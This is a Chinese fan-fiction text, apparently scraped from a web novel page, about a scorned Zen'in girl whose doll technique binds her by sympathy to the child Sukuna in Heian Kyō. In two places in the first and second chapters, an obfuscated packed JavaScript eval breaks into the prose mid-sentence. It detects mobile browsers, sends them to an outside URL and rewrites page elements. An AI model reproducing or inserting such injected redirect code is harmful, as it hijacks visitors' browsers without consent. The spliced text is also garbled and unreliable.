《术式是共感娃娃》 1. 宿傩1 禅院家的道场,即便在午后最盛的日光下,也透着一股浸入骨髓的阴凉与肃杀。空气里弥漫着陈年木料、汗水和某种无形压力的混合气味。家主禅院直毘人抱着手臂,立于场边,目光如鹰隼般落在场中央那道幼小却已初现凌厉的身影上。 那是他四岁的儿子,禅院直哉。 直哉穿着量身定制的黑色练功服,短发梳理得一丝不苟,小脸上是与年龄极不相称的倨傲与专注。他微微躬身,咒力在足底凝聚,下一瞬,身影骤然模糊,化作一道肉眼难以捕捉的残影,以违背常理的速度在场中数个标靶间连续闪现!“啪!啪!啪!”清脆的击打声几乎连成一线,木制标靶应声而裂,碎屑纷飞。 投射咒法。禅院家祖传术式之一,对天赋与血脉要求近乎苛刻。而直哉,在四岁稚龄便已能稳定施展其基础形态,虽还稚嫩,却已足够惊世骇俗。 直毘人眼中掠过一丝难以掩饰的满意,微微颔首。周围侍立的族老与护卫们更是屏息凝神,眼神炽热,仿佛已看到禅院家未来数十年的辉煌系于此子一身。 道场的角落,光线最晦暗之处,一个小小的身影几乎蜷缩在阴影里。禅院怜,直哉的双生妹妹,穿着同样精致却明显不合身的柳色小袖,墨黑的长发柔顺地披在肩头。她抱着膝盖,浅草绿色的眼眸一眨不眨地望着场中光芒万丈的兄长,那抹新绿本该代表春日与希望,此刻却只盛满了怯懦、羡慕,与一丝显而易见的卑微。 同样是四岁,哥哥已是家族公认的希望,而她……不但有着一双被视为“异色”、不够“禅院”的眼眸,且体内流淌的咒力微弱得可怜,别提觉醒任何与家族荣耀相关的祖传术式了。在重视血脉与实力、男尊女卑观念根深蒂固的禅院家,她的存在,如同精美瓷器上无关紧要的、甚至有些碍眼的釉裂。 直哉收势,气息微喘,小脸上却洋溢着毫不掩饰的得意。他并未立刻走向父亲接受赞许,而是转身,目光精准地投向角落的怜,下巴高高扬起。 “看见了吗?怜。”他的声音清脆,却带着刻意拔高的傲慢,“这才是禅院家继承人该有的样子。投射咒法,未来我会让它比任何人的术式都快,都强!”他顿了顿,踱步走近阴影,居高临下地看着缩成一团的妹妹,语气里的嘲讽几乎凝成实质,“而你?除了躲在这里哭鼻子,还会什么?连最基础的咒力操控都做不好吧?真是丢尽了父亲和禅院家的脸。” 眼泪瞬间盈满了怜浅绿色的眼眶,如同清晨草叶上蓄满的露珠,摇摇欲坠。她死死咬住下唇,不让呜咽溢出喉咙,小小的身体颤抖着。兄长的话像淬了冰的针,扎在她本就敏感脆弱的心上。她鼓起毕生勇气,带着浓重鼻音,细弱却执拗地反驳:“我……我也会有……属于自己的术式!一定会的!” “术式?”直哉像是听到了天大的笑话,夸张地瞪大了眼,随即爆发出一阵毫不留情的嗤笑,“就凭你?你能有什么术式?变出花朵?召唤蝴蝶?还是像那些没用的小姐一样,只能整理整理衣橱?”他越说越起劲,指着怜,转头对场边露出些许不耐神色的直毘人道:“父亲,您看妹妹,除了哭和说大话,什么都不会!禅院家可不养废物!” 直毘人眉头微蹙,并未出言制止儿子的刻薄。在他眼中,这也是对弱者的一种“鞭策”,尽管这鞭策对四岁的幼女而言过于残酷。他的沉默,等同于默许。 更多的泪水滚落,怜哭得浑身发抖,强烈的委屈、不甘,以及对自身无能的憎恶,连同那点微弱的、渴望被看见、被承认的期盼,在她稚嫩的心湖里疯狂翻搅。就在情绪达到某个沸腾的顶点时,她感到掌心一阵莫名的温热与鼓胀。 “呜……我……我才不是废物……”她抽噎着,无意识地朝空中伸出紧握的小拳头,仿佛想抓住什么看不见的依靠,“术式我也会有的……绝对……” 话音未落,奇异的咒力波动以她为中心,微弱却清晰地漾开。 光芒一闪。 一个约莫手掌大小、做工却异常精细的“娃娃”,凭空出现在她摊开的掌心。 道场内霎时一静。 那娃娃约是四岁孩童的Q版模样,通体呈现出一种柔和的、近乎真人的皮肤质感,关节处结构精巧,显然可以自如活动,类似昂贵的BJD人偶。 可是它的样貌却分外诡异,跟精致漂亮好不挂钩——一头蓬乱的粉色短发,脸颊带着孩童的圆润,却生有四只猩红色的眼睛,以及四只手臂。他穿着一身破破烂烂、勉强蔽体的粗布短褐,安静地躺在怜带着泪痕的掌心里,模样古怪,甚至透着一丝难以言喻的、非人的诡异。 直毘人的目光骤然锐利,落在娃娃身上,带着审视与评估。 直哉呆愣了一瞬,似乎没料到妹妹真的“变”出了东西。但当他看清那娃娃怪异的四手四眼和寒酸模样后,短暂的惊讶迅速被更汹涌的嘲弄淹没。 “哈……哈哈哈哈哈!”他指着怜手中的娃娃,笑得前仰后合,几乎喘不上气,“这就是你的‘术式’?变出这种……这种丑八怪娃娃?还四只手?四只眼睛?这是什么怪物吗?哈哈哈!怜,你的术式就是变出没用的玩具?还是这么丑的玩具!真是笑死人了!” 他的笑声尖锐刺耳,在空旷的道场里回荡,如同无数把嘲笑的小刀,凌迟着怜仅剩的自尊。 怜低头看着掌心的娃娃,哥哥的每一句嘲讽都像重锤砸在她心上。娃娃……真的有。可是,好丑……粉色的头发好奇怪,四只手好可怕,眼睛还有四只……连变出来的东西,都这么不讨喜,这么……没用吗?极度的失望和自厌如同冰水浇头,她哭得更凶了,大颗大颗温热的眼泪,“啪嗒”、“啪嗒”地落在娃娃冰冷的“脸”上,顺着那诡异的复眼轮廓滑落。 --- 平安京,某条弥漫着腐臭与贫穷气息的狭窄后巷。 月光被高墙切割得支离破碎,勉强照亮角落里一堆散发馊味的垃圾。四岁的宿傩,浑身脏污,粉色头发板结黏连着污垢与干涸的血迹,四只猩红的眼眸在黑暗中亮得骇人,如同被困绝境的小兽。他正与两只皮毛脱落、精瘦却异常凶悍的漆黑野狗对峙,目标是他刚刚从垃圾深处刨出的一根沾着零星肉丝的骨头。 饥饿灼烧着胃囊,生存的本能压倒一切。野狗低吼,涎水顺着獠牙滴落,眼中是同样为了一口食物不惜拼命的绿光。 战斗毫无章法,只有最原始的撕咬与抓挠。宿傩个子小,却凶悍得惊人,四只手臂胡乱而疯狂地挥舞、抓挠、捶打,试图逼退野狗,护住怀里的骨头。野狗的利齿在他胳膊、小腿上留下深深的血痕,皮开肉绽,鲜血很快浸湿了他本就破烂的衣物。疼痛刺激着神经,反而让他眼中的凶光更盛。 就在他拼着被咬住手臂的剧痛,用另一只手狠狠砸向一只狗头,同时抬脚猛踹另一只狗的腹部时—— 一种极其诡异的感觉骤然降临。 仿佛被一个无形而柔软的、巨大的怀抱,从四面八方轻轻拢住。那触感陌生至极,并非实体,却带着一种奇怪的……温度?紧接着,脸上传来冰冷潮湿的触感,一滴,两滴……像是水滴,又带着微微的咸涩。 什么东西?! 宿傩猩红的四目陡然收缩,动作因这突如其来的干扰慢了半拍。是邪祟?还是什么新的捉弄他的把戏?他心中暴起一股无名怒火与警惕。抢食已是生死攸关,任何外来的干扰,都是阻碍,都该死! 野狗可不管他的愣神,觑准空档再次猛扑上来,利爪在他胸前又添新伤,另一只则试图趁他分神,一口叼走他死死攥着的肉骨头! “吼——!”宿傩发出一声不似人声的低吼,凶性彻底被激发。他不管不顾那诡异的环抱感和脸上的湿意,四只手臂爆发出惊人的力量,一手更紧地攥住骨头,指甲几乎掐进骨缝,另一只手肘狠狠撞开扑向胸口的狗,剩下的两只手则疯狂地抓挠撕咬试图夺食的野狗眼睛和鼻子。 更多的伤痕在他身上绽放,鲜血淋漓,但他仿佛感觉不到疼痛,只有一股要将眼前一切阻碍撕碎的狠戾。最终,两只野狗在他不要命的反扑下呜咽着退开,眼中残留着贪婪与不甘,却不敢再上前,夹着尾巴消失在巷子更深的黑暗里。 宿傩瘫坐在污秽的地上,大口喘息,每一次呼吸都扯动着满身伤口,带来尖锐的痛楚。他毫不在意,低头看向手中沾满泥污和血迹、却依旧紧紧握着的肉骨头,四只眼睛亮得惊人。没有犹豫,他低下头,用尚且稚嫩却异常尖锐的牙齿,狠狠啃咬起骨头上那点可怜的肉丝,混合着血污和尘土,囫囵吞咽,仿佛那是世间最美味的珍馐。 就在这时,那诡异的环抱感似乎“收紧”了些,脸上的湿意也变得更加密集、滚烫。与之同时,一种全新的、火辣辣的刺痛感,毫无征兆地出现在他的手臂、小腿、胸前……那些刚刚被野狗撕咬出的伤口位置!疼痛清晰无比,甚至比受伤瞬间更添一丝古怪的灼热。 宿傩啃咬的动作猛地停住,四只猩红的眼眸惊疑不定地扫视四周阴森的巷子。没有敌人,没有野狗,只有月光和垃圾。但那感觉如此真实……还有脸上这冰冷的“水”…… 是诅咒?还是哪个躲藏起来的阴阳师的邪术? 他眼神阴鸷,试图找出这无形作弄的源头。然而,未等他理清头绪,更离谱的事情发生了——他整个人,毫无预兆地,突然向后一仰,“砰”地一声摔倒在冰冷潮湿的地面上!手里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147156|196400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肉骨头都差点脱手。 “!”宿傩迅速翻身坐起,四只眼睛瞬间被暴怒染红,警惕和愤怒达到了顶点。他低吼着,声音沙哑破碎:“谁?!滚出来!”他认定了,是有看不见的“东西”在戏耍他,阻碍他,甚至想夺走他的食物! 可巷子里除了他自己的回音,依旧空寂。 他攥紧骨头,爬起身,四只眼睛如同最凶戾的幼兽,扫过每一处阴影。没有,什么都没有。但那环抱感、脸上的湿意、伤口诡异的灼痛、以及刚才莫名的摔倒……这一切都透着邪门。 是了……一定是邪祟。平安京最不缺少怪力乱神的传说,连他这样被视作“不祥”的四眼畸形儿,也能模糊感知到那些游荡在黑暗里的“东西”。只是没想到,连邪祟都来欺辱他,连一口吃的都不让他安生。 他死死咬着牙,将那根几乎没肉的骨头更紧地搂在怀里,仿佛那是唯一能证明自己“赢得”了这场诡异遭遇的战利品。四只猩红的眼眸在黑暗中闪烁着冰冷、不屈,以及一丝深深埋藏的、对这个世界无边恶意的憎恨。 --- 禅院道场。 怜的眼泪不住地落在娃娃脸上。忽然,她惊愕地瞪大浅草绿的眸子,连哭泣都忘了,只难以置信地抽噎了一下。 只见那娃娃身上,原本光滑的“皮肤”表面,毫无征兆地,缓缓“渗”出了暗红色的、黏稠的液体!一滴,两滴……混合着她清澈的泪水,一起滑落,在她掌心晕开,又滴落到光洁的木地板上,形成一小滩颜色诡异的、半透明掺着暗红的湿痕。 血……? 娃娃……在流血? “呀啊——!”怜吓得魂飞魄散,本就脆弱的神经瞬间崩断,她尖叫一声,像被烫到般猛地甩手! 那精致的、染着血的四手娃娃脱手飞出,在空中划过一道短短的弧线,“啪”地一声,掉落在几步之外的地板上,发出一声闷响。 几乎在娃娃落地的同一瞬间,怜感到掌心那残留的、与娃娃之间奇异的、温热的联系感,“啪”地一声,断了。脸上未干的泪痕冰凉,衬得道场更显阴冷。 直哉也被这诡异的一幕惊得笑声戛然而止,有些狐疑地看着地上那静止不动的怪异娃娃,又看看吓得小脸惨白、连哭都忘了的妹妹。 直毘人眉头锁得更紧,目光在地板那摊“血泪”和娃娃之间逡巡。这术式……似乎并非简单的“创造玩偶”。那血……是真实的咒力反馈?还是某种诅咒的显现?他沉声开口,听不出情绪:“怜,捡起来。” 怜浑身一颤,畏惧地看了父亲一眼,又飞快地瞥向地上那个“可怕”的娃娃。她怕极了,那渗出的红色让她想起受伤,想起疼痛,想起一切不好的东西。可是父亲的话不能违抗。她哆哆嗦嗦地挪过去,浅绿色的眼睛里满是惊恐,伸出颤抖的小手,极其缓慢地、用指尖轻轻捏住了娃娃一只冰凉的手臂,迅速将它拎了起来,不敢多看,紧紧攥在胸前,仿佛那是什么烫手的、不祥的物事。 娃娃无声无息,睁着血红的眼睛,粉色的发丝有些凌乱,沾着些许未干的暗红与透明水渍。在怜的怀里,它看起来又只是一个做工奇特、有些丑陋的玩偶。 直哉见娃娃被捡起后并无更多异状,撇了撇嘴,那份惊疑迅速被重新涌上的不屑取代:“哼,装神弄鬼。丑娃娃就是丑娃娃,沾了点脏东西而已。你的术式,果然就是变出没用的破烂。”他转身,不再看怜,走向直毘人,重新挺起小胸膛,仿佛刚才那点插曲只是无关紧要的尘埃。 道场的阴影里,怜紧紧抱着那个冰冷、染着“血泪”、模样古怪的娃娃,浅草绿的眼中惊惧未散,泪水无声地再次蓄满。她不知道这个娃娃意味着什么,只知道它很丑,很吓人,还流“血”。可在所有人——父亲、兄长、族人——都对她投来失望、漠视或嘲弄目光时,只有这个被她“变”出来、似乎与她有着诡异联系的、丑陋的娃娃,是“属于”她的。 她低下头,将湿漉漉的小脸轻轻贴了贴娃娃冰凉的、带着四只眼睛的脸颊。触感坚硬,没有任何温度。 心底那片自卑与怯懦的荒原上,一株名为“寄托”的幼苗,却在无人看见的角落,连同恐惧与困惑一起,悄然扎下了根。而那根须,早已穿透时空的壁垒,缠绕上了平安京巷弄中,某个正在啃食带血骨头、满身伤痕、眼神凶戾的粉发幼童。 无人知晓,两个截然不同世界里的孤独灵魂,因一个“共感娃娃”,于此夜,于此境,产生了第一次笨拙、诡异、充满泪水与鲜血的碰撞与联结。禅院怜的“无用”术式,在她自己都茫然不觉间,已悄然启动,将她与一个名为“两面宿傩”的未来鬼神,命运般地捆绑在了一起。 2. 宿傩2 肉骨头上那点可怜的油脂和肉丝滑入喉管,带来一丝微弱却真实的慰藉;腹中翻搅的、烧灼般的饥饿感稍稍平复,至少那令人发狂的空洞被暂时填上了薄薄的一层肉沫。 宿傩伸出舌头,仔细舔过口腔内壁,又抿了抿沾着血污和尘土的嘴唇,试图捕捉最后一点咸腥的余味。这味道不好,混杂着垃圾的腐臭和铁锈气,但于他而言,已是难得的“饱足”。 然而,身体却发出了更危险的警报。失血过多的眩晕如同潮水,一波强过一波地冲击着他本就紧绷的神经。眼前阵阵发黑,月光下的巷陌扭曲旋转。 支撑身体的力量迅速流失,他晃了晃,终究无力站稳,“噗通”一声,重重摔倒在冰冷污秽的地面上。 冰冷的触感从身下传来,与体内渐生的寒意里应外合。视线开始模糊,耳朵里嗡嗡作响,世界的声音在远去。是要死了吗?宿傩迷迷糊糊地想,也好……起码不是饿死鬼。这个念头闪过,带着一丝扭曲的释然。 但紧随其后的,是更汹涌、更黑暗的不甘与怨恨。凭什么?凭什么被丢弃在寺庙柴房外,连个名字都不配拥有?凭什么只能像野狗一样,在这污秽的角落,为了一口馊臭的残渣拼命,最后还要无声无息地流血至死?就因为自己天生四手四眼吗? 冰冷的恨意如同毒藤,缠绕上他半昏迷的心智,丝丝缕缕的、带着不祥晦暗色泽的咒力,不受控制地从他伤痕累累的幼小身躯里渗出,萦绕不散。那不是经过修炼的、可供驱使的力量,更像是绝望与恶意本身凝结成的黑雾,预示着一个扭曲灵魂的雏形。 --- 禅院家,怜那间狭小昏暗的闺房。 此刻怜正紧紧抱着怀里那个仍在渗血的诡异娃娃,房门在身后合拢,隔绝了道场那边隐约传来的、属于兄长的得意与父亲的威严,却关不住满心的惊恐与冰凉。 一路走来,娃娃身上渗出的暗红液体滴滴答答,在门后洁净的走廊木地板上,留下了一串断断续续、颜色刺目的痕迹,从门廊一路蜿蜒至房间内,在昏黄的灯下,透着一股难以言喻的诡谲。 怜抱着娃娃站在屋内,只觉得一阵莫名的阴风不知从哪个缝隙钻入,拂过她汗湿的颈后,激起一片细小的战栗。她瑟瑟发抖,浅草绿的眸子蓄满了慌乱无措的泪水。 “血……止不住……”她呜咽着,手忙脚乱地抓起旁边一块干净的软布,试图擦拭娃娃身上那些“伤口”。可那暗红色的液体仿佛是从娃娃“体内”源源不断渗出,擦拭只能暂时抹去表面的湿润,很快新的“血珠”又会凝聚、滑落。她的眼泪也流得更凶了,砸在娃娃冰冷的“皮肤”上,和那暗红混在一起。 就在这时,门外传来轻微的脚步声,是负责洒扫这片区域的女仆路过。女仆无意间瞥见从门缝下透出的、颜色异常的湿痕,又听到里面小小姐压抑的抽泣,忍不住轻轻叩门,低声询问:“怜小姐?您……没事吧?” 怜像抓住救命稻草,慌忙拉开门,将怀中血流不止的娃娃举到女仆面前,哭腔浓重:“阿、阿绫姨……娃娃……娃娃流血了,怎么才能止住血?” 被称为阿绫的女仆年近三十,在禅院家侍奉多年,虽几乎毫无咒力,但见识过不少古怪。可眼前这一幕,还是让她倒抽一口凉气——那四手四眼的古怪玩偶,栩栩如生(或者说,栩栩如“死”)地淌着暗红液体,被小小姐泪眼婆娑地捧着,画面说不出的邪门。她下意识后退半步,脸色发白:“这……怜小姐,这、这只是个玩偶啊……无生命之物,如何能像活人一样止血?” “可是它在流血!”怜固执地举着娃娃,眼泪啪嗒啪嗒掉,“阿绫姨,你帮帮我,帮帮它……” 女仆看着怜满是哀求的稚嫩小脸,又畏惧地瞟了一眼那诡异的娃娃,终究是心软了,颤声道:“或、或许……可以试试……像对待伤口那样,包扎一下?” 包扎?怜愣了一下,随即模糊的记忆被唤醒。她三岁半时顽皮,从矮廊上摔下,膝盖擦破了好大一块皮,就是阿绫姨帮她清洗、上药、包扎的。虽然那时候疼得直哭,但包扎好后,血就止住了,伤口也慢慢长好了。 “对!包扎!”怜仿佛找到了方向,立刻道,“阿绫姨,快去拿……拿药箱!碘伏,针线,还有绷带!” 女仆不敢耽搁,连忙取来了禅院家常备的、处理皮肉伤用的简易医箱。东西拿来后,怜伸手去接,女仆却犹豫着,看着那娃娃四只微闭的、猩红的眼睛,心底发毛,递过去的手微微缩回。 怜看到了女仆眼中的恐惧。她咬了咬下唇,忽然升起一股奇异的勇气。这是她的娃娃,是她“变”出来的,不管它多丑多怪,现在它在“流血”,在“疼”。父亲不会管,哥哥只会嘲笑,阿绫姨害怕……那只有她自己了。 “我……我自己来。”她小声说,声音还有些抖,却伸手稳稳接过了医箱。 女仆如蒙大赦,退到门边,却也不敢离开,只忐忑地看着。 怜将娃娃小心地放在铺着软垫的矮几上。灯光下,娃娃身上的“伤口”更清晰了,尤其是手臂和腿上几处深陷的撕裂痕迹,仿佛真的被什么犬科动物狠狠咬过,甚至需要缝合。她吸了吸鼻子,努力让自己镇定下来,回忆着阿绫姨当初的动作。 她用蘸了碘伏的棉球,轻轻擦拭娃娃“伤口”周围的“血污”。每擦一下,都屏住呼吸,仿佛怕弄疼了它。然后,她拿起穿好线的细针——这是她第一次碰针线,手抖得厉害。浅草绿的眸子紧紧盯着娃娃手臂上那道最深的“裂口”,抿着唇,小心翼翼地、一针一针地穿过去,拉紧。动作笨拙,线脚歪歪扭扭,但极其认真。 缝完一处,又处理下一处。她完全沉浸在了这件“大事”里,忘记了害怕,忘记了哭泣,房间里只剩下她细微的呼吸声,和针线穿过娃娃特殊材质时极轻的“沙沙”声。烛火在她专注的小脸上跳跃,那双遗传自母亲、曾被兄长讥讽“不像禅院家”的浅草绿眼眸,此刻却亮得惊人,带着一种纯粹的、想要“拯救”什么的执拗。 当所有看似严重的“伤口”都被缝合、敷上药粉、并用洁白的绷带仔细缠绕包扎好后,娃娃身上渗出的暗红色液体,果然肉眼可见地减少了,只剩下些许洇湿绷带的浅淡痕迹。 怜长长地舒了一口气,一直紧绷的小肩膀垮了下来。她这才感到手臂酸麻,指尖被针扎了好几下,有些刺痛。但看着被绷带包裹得有些滑稽、却不再“流血”的娃娃,一种前所未有的、微弱的成就感,混合着释然,悄悄漫上心头。 她又拿起一块干净的温热湿布,将娃娃脸上、身上残留的暗红污渍一点点擦拭干净。随着污渍褪去,娃娃原本的样貌更清晰地显露出来—— 四岁大小的Q版身形,粉色的短发虽然凌乱,脸蛋却有种孩童的圆润,四只手臂安静地垂着,那四只微阖的红眸……看久了,似乎也没那么可怕了,甚至透着一股……诡异的稚气? “好像……”怜用指尖轻轻碰了碰娃娃冰凉的脸颊,自言自语,声音细若蚊蚋,“也没有那么丑……” 像是自我安慰,又像是某种认知在悄然改变。这诡奇丑陋的娃娃,此刻在她眼中,竟生出几分难以言喻的、诡谲的萌态。它安静地躺在那里,被她亲手“救治”,仿佛成了她秘密世界里,第一个真正属于她、需要她、也由她“保护”的存在。 门外的女仆阿绫却完全不这么想。她只觉得那娃娃被清理干净后,那四只血红的眼睛似乎更醒目了。而在怜低声自语的那一刻,她发誓,她看见那双主眼的睫毛几不可察地颤动了一下! 一股冰冷的寒意瞬间窜上脊背,她再不敢多待,匆匆低声道:“怜、怜小姐,既然没事了,我先退下了。”说完,几乎是逃也似的离开了房间,还细心地(或者说,是恐惧地)带紧了房门。 --- 平安京边缘荒僻无人巷陌里,宿傩蜷缩在墙角,意识在昏迷与清醒的边缘浮沉。失血和虚弱让他体温不断流失,夜风穿透他破烂的单衣,带走最后一丝暖意,只留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147157|196400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下刺骨的寒。他小小的身体在黑暗中显得格外孱弱,唯有那四只即使没法完全睁开也仿佛透着凶光的猩红眼眸,是这片死寂中唯一的不详亮色。 然而,就在他以为会这样带着无尽怨恨,失血过多而死时,陌生的感觉再次袭来。 先是尖锐的刺痛,从手臂、腿部的伤口传来,仿佛有什么冰冷细利的东西在皮肉里穿梭、拉紧。是那个“妖怪”吗?它终于要动手了?要像传说中的山姥那样,把他缝制成傀儡?还是像河童,喜欢折磨将死的猎物? 无力的愤怒和更深的憎恨涌起。他试图在心中诅咒,用尽最后的气力发出无声的咆哮:‘吃我的恶鬼……必不得超生……’ 但除了让周身那晦暗的咒力黑雾微微波动,他什么也做不了。 可是,预想中进一步的折磨并未到来。那穿刺拉紧的疼痛之后,是一种清凉的、带着奇异气味的粉末撒在伤口的感觉,紧接着是被柔软布条层层包裹起来的触感。压迫,却奇异地减缓了血液流失带来的冰冷和空虚。 包扎? 宿傩混乱的意识里闪过一丝茫然。他见过人类受伤后找大夫医治,似乎……就是这样的步骤——缝合,上药,包扎。 那个看不见的“妖怪”……在给他治伤? 荒谬感冲淡了部分警惕。世界上哪有这么好的妖怪?非亲非故,凭什么救他?是要把他养好再吃?还是有什么更可怕的图谋? ‘代价……’ 他在心里冷冷地想,意识模糊地呢喃,‘什么代价都好……只要能活下来……’ 念头一转,又想到,救自己的不是人,而是这山林间不知名的精怪鬼神。他扯了扯嘴角,露出一个自嘲的、凄冷的笑容。也是,他这样的“怪物”,生来就被人类抛弃、恐惧、唾骂,被称作“鬼神之子”。到头来,能在濒死时给予一点“帮助”的,竟然也只有这些非人之物。 ‘我这样的……果然只能跟妖怪为伍了……’ 那笑容在他苍白染血的小脸上绽开,混杂着与年龄不符的讥诮、冷漠,以及一丝深埋的悲凉。夜风呜咽,穿过荒芜的枝桠,仿佛在应和这孤独幼童绝望的定论。 然而,这凄凉的自嘲尚未散去,另一种截然不同的触感,突兀地降临。 脸颊上,传来温热的、柔软的擦拭感。 像是一块浸泡过热水、又被细心拧干的柔软布料,带着恰到好处的温度和湿度,轻轻地、细致地拂过他沾满血污、尘土和冷汗的脸颊。动作甚至称得上……温柔? 宿傩那自嘲的、冰冷的笑容,瞬间僵在脸上,戛然而止。 他彻底懵了。 治疗伤口,可以理解是为了“储存食物”或者别的目的。可擦拭脸颊?这算什么?即便是他偶然窥见的人类大夫,也不会对病人做这种多余又……亲密的事。 那温热的触感所到之处,黏腻冰冷的不适感被带走,皮肤仿佛能重新呼吸。风吹过他刚刚被擦拭过的、干净了些许的小小身躯,竟然带来一丝久违的、清爽的凉意,而非之前刺骨的寒冷。连带着周身因怨恨不甘而自主溢出的、那些黑暗粘稠的咒力,似乎也被这轻柔的擦拭,无意间拂去了些许戾气,变得淡薄、松散开来。 是什么? 到底……是什么东西? 困惑取代了怨恨,一种前所未有的、陌生的感觉,像一粒微不足道的火星,落入他一片冰封黑暗的心湖,泛起微弱涟漪。 巷陌依旧阴森死寂,宿傩的生命体征依旧微弱,但那双即便在昏迷中也不曾完全放松、攥着虚空的小小拳头,指节似乎稍稍松开了一丝。缠绕着他的黑暗咒力,虽未散去,却不再那么咄咄逼人地翻腾。 无人知晓的联结,在这诡异的“治疗”与“擦拭”中,完成了第一次超越恐惧与伤害的、笨拙而温柔的触碰。两个孤独的、被各自世界排斥的幼小灵魂,隔着时空的壁垒,因一个“共感娃娃”,在这一夜,感受到了冰冷的绝望之外,一丝微弱到几乎不存在、却真实降临的……来自灵魂的温暖。 3. 宿傩3 平安京的冬天,像一头蛰伏的巨兽,将冰冷湿寒的气息吐向每一个角落。即便是边缘地带、鱼龙混杂的贫民窟,也未能幸免。低矮歪斜的木板房挤挨在一起,檐下挂着冰棱,狭窄的巷道里污水结着薄冰,又被踩出污秽的印子。 游女的脂粉香混着劣质清酒和食物腐败的气味,在寒冷的空气里凝成一股粘腻又颓唐的气息。这里是卖药郎、行脚僧、流浪汉、以及各种挣扎在最底层的下九流们的聚集地,充斥着短暂的交易、廉价的欢愉和日复一日的生存挣扎。 即便如此,宿傩在这里,依然没有一席之地。 他平日里栖身在更远的郊外,一座早已废弃、连流浪汉都嫌阴森的神社里。夏天尚可,森林边缘总能找到些勉强果腹的菌菇、野菜,运气好还能逮到田鼠。可一到冬天,万物凋敝,寒意彻骨,找不到任何可以入腹的食物。他只能冒着严寒,一次次潜入贫民窟,寻找食物。 偷窃,是他唯一能获取食物的方式。 乞讨?那只会引来更直接的驱逐和殴打。他这副四手四眼的模样,在人类眼中,与其说是需要怜悯的孤儿,不如说是令人恐惧和嫌恶的“畸形怪物”。人们看见他,第一反应是惊叫、后退,然后是石块和辱骂。他甚至无法像其他流浪儿那样,缩在某个相对温暖的角落瑟瑟发抖,博取一丝可能的施舍——他的存在本身,就是一种“污染”。 为了降低被发现的风险,平日里他只露出正常位置的两只手,将另外两只手臂紧紧蜷缩在宽大的袖袍和衣襟内。 只有在他确认目标、准备下手的那一刻,才会如同蛰伏的毒蛇般,瞬间探出那多出的两只手,以远超常人的迅捷攫取食物,然后立刻缩回,消失在杂乱的人群或阴暗的巷道里。他必须频繁更换“狩猎”的区域,因为特征太过显著,只要被同一个人见过两次,危险便会成倍增加。 这天,细雪如盐粒般洒落,给贫民窟肮脏的屋顶和地面蒙上了一层病态的苍白。饥饿像冰冷的钩子,拉扯着宿傩空瘪的胃囊。他已经两天没找到像样的食物了,只靠一点融化的雪水和之前找到的、冻得硬邦邦的、不知名植物块茎勉强维生。 寒冷穿透宿傩身上那件单薄破旧、早已不合身的衣服,让他浑身控制不住地细微颤抖。 这衣服还是他三岁时,收养他的老和尚用旧袈裟改的,老和尚圆寂后,他被赶出寺庙,身上就只剩这件旧衣裳和一双草鞋了。 年幼的宿傩拖着被冻得有些麻木的双脚,再次潜入了相对热闹、食物气味也更浓郁的积水巷。 他的目标是一个简陋的馒头摊。 蒸笼冒着稀薄的热气,在寒冷中格外诱人。摊主是个满脸横肉的中年男人,正和旁边一个倚着门框、穿着花哨丝绸直垂、脸上带着职业性假笑的“引手”(平安时代皮/条/客)说着什么,唾沫横飞。 时机似乎不错。 宿傩缩在巷口一堆破木箱的阴影里,四只眼睛紧紧盯着那笼刚刚掀开盖子的白胖馒头,喉结上下滚动了一下。他计算着距离,观察着摊主和引手的视线方向,以及周围行人走动的规律。 就是现在! 他像一道灰色的影子,猛地从阴影里窜出,利用矮小的身形和积雪掩盖脚步声,直扑摊位边缘!两只正常位置的手佯装扶了一下摊位边缘以稳住身体,与此同时,另外两只隐藏在宽大袖袍里的手,如同迅捷的捕食者,闪电般探出,精准地攫取了两只滚烫的馒头,瞬间缩回衣襟内! 整个过程不过一两个呼吸。 然而,就在他得手后转身欲跑的刹那,一个粗嘎的、带着浓重酒气和戏谑的声音在他头顶响起: “哟?我当是哪儿来的野猫,原来是你这只四只手的‘天生小偷’啊?” 是那个引手!他不知何时已经转过了身,脸上虚假的笑容变成了赤裸裸的、猫捉老鼠般的狞笑。他身材高大魁梧,肌肉将丝绸直垂撑得紧绷,一只手轻易地就揪住了宿傩的后衣领,像拎一只小鸡崽般将他提了起来! “放开我!”宿傩挣扎,四只眼睛因惊怒和恐惧而瞪大,猩红的光在眼底闪烁。但他瘦小的身体在对方绝对的力量面前,毫无作用。 这边的动静立刻吸引了摊主和其他路人的注意。 卖馒头的中年男人一看蒸笼里少了两个,顿时火冒三丈:“小杂种!敢偷老子的馒头!” 他冲过来,看清宿傩被拎起后,衣襟处隐约露出的、还没来得及完全藏好的另外两只小手,以及那张虽然脏污却依旧能看清四只红眼的诡异面孔,脸上的怒气变成了混杂着厌恶和猎奇的大笑:“哈!果然是你这个怪物——四只手的妖怪崽子!” 引手像是展示战利品般,将宿傩拎得更高,让他扭曲挣扎的身体暴露在更多人视线中。“看看!都看看!这就是之前在东边巷子里偷鱼干的那小子!天生四只手,不当贼都可惜了这‘天赋’!”他洪亮的声音充满了恶意的嘲弄。 